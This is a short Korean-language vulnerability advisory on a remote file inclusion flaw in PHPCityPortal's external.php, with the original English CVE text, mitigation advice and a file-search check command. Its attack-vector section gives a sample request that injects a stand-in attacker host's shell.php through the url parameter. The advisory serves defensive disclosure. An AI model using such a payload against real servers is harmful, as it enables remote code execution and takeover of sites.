🇰🇷 한글 설명
PHPCityPortal의 external.php 파일에서 url 매개변수의 입력값 검증 부재로 인한 원격 파일 포함(RFI) 취약점입니다. 공격자가 임의의 원격 PHP 파일을 포함시켜 서버에서 악의적인 코드를 실행할 수 있으며, 이를 통해 전체 시스템 제어권을 탈취당할 수 있습니다.
💡 쉬운 설명
PHPCityPortal 웹사이트 관리 도구의 external.php 파일에서 url 입력값을 제대로 검사하지 않아 악의적인 파일을 로드할 수 있습니다. 공격자가 이를 악용하면 웹 서버를 완전히 장악할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in external.php in PHPCityPortal allows remote attackers to execute arbitrary PHP code via a URL in the url parameter.
📍 영향받는 시스템
PHPCityPortal (특정 버전명 미상, 2010년 이전 버전 대부분 영향)
⚔️ 공격 벡터
url 파라미터에 공격자 서버의 악성 PHP 파일 URL 주입: http://vulnerable-site/external.php?url=http://attacker.com/shell.php
🛡️ 대응 방법
PHPCityPortal을 최신 보안 패치가 적용된 버전으로 즉시 업그레이드하거나 external.php의 url 파라미터 입력값 검증 및 필터링 로직 추가
🔧 검증 코드
external.php 파일이 발견되면 해당 파일 내용을 검토하여 url 매개변수에 대한 입력값 검증(whitelist, include 함수 제한) 존재 여부 확인
find / -name 'external.php' -type f 2>/dev/null | xargs grep -l 'url' | head -5